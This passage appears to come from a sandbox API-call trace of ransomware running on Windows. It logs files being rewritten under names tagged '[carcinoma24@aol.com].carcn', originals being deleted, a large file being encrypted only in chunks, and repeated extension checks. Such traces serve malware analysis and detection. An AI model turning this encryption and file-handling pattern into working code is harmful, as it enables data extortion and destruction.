lpString2=".ico") returned -1 [0161.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.583] lstrlenW (lpString=".1cd") returned 4 [0161.583] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0161.583] lstrlenW (lpString=".jpg") returned 4 [0161.583] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.583] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.583] lstrlenW (lpString="Rotate4.ico") returned 11 [0161.584] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.752] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=894) returned 1 [0161.752] CloseHandle (hObject=0x384) returned 1 [0161.753] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0161.753] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.753] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.753] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.753] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0161.753] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0161.753] GetLastError () returned 0x0 [0161.753] ReadFile (in: hFile=0x384, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x37e, lpOverlapped=0x0) returned 1 [0162.202] WriteFile (in: hFile=0x364, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x380, lpOverlapped=0x0) returned 1 [0162.203] ReadFile (in: hFile=0x384, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0162.203] WriteFile (in: hFile=0x364, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xea, lpOverlapped=0x0) returned 1 [0162.203] SetEndOfFile (hFile=0x364) returned 1 [0162.204] CloseHandle (hObject=0x364) returned 1 [0162.208] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0162.208] SetEndOfFile (hFile=0x384) returned 1 [0162.208] CloseHandle (hObject=0x384) returned 1 [0162.208] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0162.209] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0162.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.209] lstrlenW (lpString=".doc") returned 4 [0162.209] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0162.209] lstrlenW (lpString=".docx") returned 5 [0162.209] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0162.209] lstrlenW (lpString=".pdf") returned 4 [0162.209] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0162.209] lstrlenW (lpString=".xls") returned 4 [0162.209] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0162.209] lstrlenW (lpString=".xlsx") returned 5 [0162.209] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0162.209] lstrlenW (lpString=".ppt") returned 4 [0162.209] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0162.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.209] lstrlenW (lpString=".zip") returned 4 [0162.209] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0162.209] lstrlenW (lpString=".rar") returned 4 [0162.209] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0162.209] lstrlenW (lpString=".bz2") returned 4 [0162.209] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0162.210] lstrlenW (lpString=".7z") returned 3 [0162.210] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0162.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.210] lstrlenW (lpString=".dbf") returned 4 [0162.210] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0162.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.210] lstrlenW (lpString=".1cd") returned 4 [0162.210] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0162.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.210] lstrlenW (lpString=".jpg") returned 4 [0162.210] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0162.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.210] lstrlenW (lpString=".doc") returned 4 [0162.210] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0162.210] lstrlenW (lpString=".docx") returned 5 [0162.210] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0162.210] lstrlenW (lpString=".pdf") returned 4 [0162.210] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0162.210] lstrlenW (lpString=".xls") returned 4 [0162.210] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0162.210] lstrlenW (lpString=".xlsx") returned 5 [0162.210] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0162.210] lstrlenW (lpString=".ppt") returned 4 [0162.210] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0162.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.210] lstrlenW (lpString=".zip") returned 4 [0162.210] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0162.210] lstrlenW (lpString=".rar") returned 4 [0162.210] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0162.210] lstrlenW (lpString=".bz2") returned 4 [0162.210] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0162.210] lstrlenW (lpString=".7z") returned 3 [0162.210] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0162.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.211] lstrlenW (lpString=".dbf") returned 4 [0162.211] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0162.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.211] lstrlenW (lpString=".1cd") returned 4 [0162.211] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0162.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0162.211] lstrlenW (lpString=".jpg") returned 4 [0162.211] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0162.211] lstrcmpiW (lpString1=".mzz", lpString2=".carcn") returned 1 [0162.211] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0162.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0162.211] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=43131591) returned 1 [0162.211] CloseHandle (hObject=0x384) returned 1 [0162.211] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0162.211] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.211] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0162.212] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0162.212] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc64 | out: lpNewFilePointer=0x0) returned 1 [0162.212] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc24 | out: lpNewFilePointer=0x0) returned 1 [0162.212] ReadFile (in: hFile=0x384, lpBuffer=0x39cd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eafc30, lpOverlapped=0x0 | out: lpBuffer=0x39cd058*, lpNumberOfBytesRead=0x2eafc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.680] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc24 | out: lpNewFilePointer=0x0) returned 1 [0162.680] ReadFile (in: hFile=0x384, lpBuffer=0x3a0d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eafc30, lpOverlapped=0x0 | out: lpBuffer=0x3a0d058*, lpNumberOfBytesRead=0x2eafc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.942] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2eafc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.943] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc24 | out: lpNewFilePointer=0x0) returned 1 [0162.943] ReadFile (in: hFile=0x384, lpBuffer=0x3a4d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eafc30, lpOverlapped=0x0 | out: lpBuffer=0x3a4d058*, lpNumberOfBytesRead=0x2eafc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.958] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0162.958] WriteFile (in: hFile=0x384, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2eafca8, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafca8*=0xc0110, lpOverlapped=0x0) returned 1 [0180.559] SetEndOfFile (hFile=0x384) returned 1 [0180.559] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43700c8 [0180.564] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc74 | out: lpNewFilePointer=0x0) returned 1 [0180.564] WriteFile (in: hFile=0x384, lpBuffer=0x43700c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eafc80, lpOverlapped=0x0 | out: lpBuffer=0x43700c8*, lpNumberOfBytesWritten=0x2eafc80*=0x40000, lpOverlapped=0x0) returned 1 [0180.565] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc74 | out: lpNewFilePointer=0x0) returned 1 [0180.565] WriteFile (in: hFile=0x384, lpBuffer=0x43700c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eafc80, lpOverlapped=0x0 | out: lpBuffer=0x43700c8*, lpNumberOfBytesWritten=0x2eafc80*=0x40000, lpOverlapped=0x0) returned 1 [0180.566] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc74 | out: lpNewFilePointer=0x0) returned 1 [0180.566] WriteFile (in: hFile=0x384, lpBuffer=0x43700c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eafc80, lpOverlapped=0x0 | out: lpBuffer=0x43700c8*, lpNumberOfBytesWritten=0x2eafc80*=0x40000, lpOverlapped=0x0) returned 1 [0180.567] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43700c8 | out: hHeap=0x790000) returned 1 [0180.569] CloseHandle (hObject=0x384) returned 1 [0182.079] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.079] lstrlenW (lpString=".doc") returned 4 [0182.080] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0182.080] lstrlenW (lpString=".docx") returned 5 [0182.080] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0182.080] lstrlenW (lpString=".pdf") returned 4 [0182.080] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0182.080] lstrlenW (lpString=".xls") returned 4 [0182.080] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0182.080] lstrlenW (lpString=".xlsx") returned 5 [0182.080] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0182.080] lstrlenW (lpString=".ppt") returned 4 [0182.080] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0182.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.080] lstrlenW (lpString=".zip") returned 4 [0182.080] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0182.080] lstrlenW (lpString=".rar") returned 4 [0182.080] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0182.080] lstrlenW (lpString=".bz2") returned 4 [0182.080] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0182.080] lstrlenW (lpString=".7z") returned 3 [0182.080] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0182.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.080] lstrlenW (lpString=".dbf") returned 4 [0182.080] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0182.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.080] lstrlenW (lpString=".1cd") returned 4 [0182.080] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0182.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.080] lstrlenW (lpString=".jpg") returned 4 [0182.080] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0182.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.080] lstrlenW (lpString=".doc") returned 4 [0182.080] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0182.080] lstrlenW (lpString=".docx") returned 5 [0182.081] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0182.081] lstrlenW (lpString=".pdf") returned 4 [0182.081] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0182.081] lstrlenW (lpString=".xls") returned 4 [0182.081] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0182.081] lstrlenW (lpString=".xlsx") returned 5 [0182.081] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0182.081] lstrlenW (lpString=".ppt") returned 4 [0182.081] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0182.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.081] lstrlenW (lpString=".zip") returned 4 [0182.081] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0182.081] lstrlenW (lpString=".rar") returned 4 [0182.081] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0182.081] lstrlenW (lpString=".bz2") returned 4 [0182.081] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0182.081] lstrlenW (lpString=".7z") returned 3 [0182.081] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0182.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.081] lstrlenW (lpString=".dbf") returned 4 [0182.081] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0182.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.081] lstrlenW (lpString=".1cd") returned 4 [0182.081] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0182.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0182.081] lstrlenW (lpString=".jpg") returned 4 [0182.081] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0182.081] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0182.081] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0182.081] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0182.082] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=69632) returned 1 [0182.082] CloseHandle (hObject=0x384) returned 1 [0182.082] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0182.082] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.082] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0182.082] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.082] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.082] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0182.082] GetLastError () returned 0x0 [0182.082] ReadFile (in: hFile=0x384, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.169] WriteFile (in: hFile=0x390, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.170] ReadFile (in: hFile=0x384, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0182.170] WriteFile (in: hFile=0x390, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x12c, lpOverlapped=0x0) returned 1 [0182.171] SetEndOfFile (hFile=0x390) returned 1 [0182.171] CloseHandle (hObject=0x390) returned 1 [0182.172] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.172] SetEndOfFile (hFile=0x384) returned 1 [0182.173] CloseHandle (hObject=0x384) returned 1 [0182.174] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.174] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0182.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.192] lstrlenW (lpString=".doc") returned 4 [0182.192] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.192] lstrlenW (lpString=".docx") returned 5 [0182.192] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.192] lstrlenW (lpString=".pdf") returned 4 [0182.192] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.192] lstrlenW (lpString=".xls") returned 4 [0182.192] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.192] lstrlenW (lpString=".xlsx") returned 5 [0182.192] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.192] lstrlenW (lpString=".ppt") returned 4 [0182.192] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.192] lstrlenW (lpString=".zip") returned 4 [0182.192] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.192] lstrlenW (lpString=".rar") returned 4 [0182.192] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.192] lstrlenW (lpString=".bz2") returned 4 [0182.192] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.192] lstrlenW (lpString=".7z") returned 3 [0182.192] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.192] lstrlenW (lpString=".dbf") returned 4 [0182.192] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.193] lstrlenW (lpString=".1cd") returned 4 [0182.193] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.193] lstrlenW (lpString=".jpg") returned 4 [0182.193] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.193] lstrlenW (lpString=".doc") returned 4 [0182.193] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString=".docx") returned 5 [0182.193] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.193] lstrlenW (lpString=".pdf") returned 4 [0182.193] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString=".xls") returned 4 [0182.193] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString=".xlsx") returned 5 [0182.193] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.193] lstrlenW (lpString=".ppt") returned 4 [0182.193] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.193] lstrlenW (lpString=".zip") returned 4 [0182.193] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString=".rar") returned 4 [0182.193] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString=".bz2") returned 4 [0182.193] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString=".7z") returned 3 [0182.193] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.193] lstrlenW (lpString=".dbf") returned 4 [0182.193] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.193] lstrlenW (lpString=".1cd") returned 4 [0182.193] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0182.194] lstrlenW (lpString=".jpg") returned 4 [0182.194] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.194] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0182.194] lstrlenW 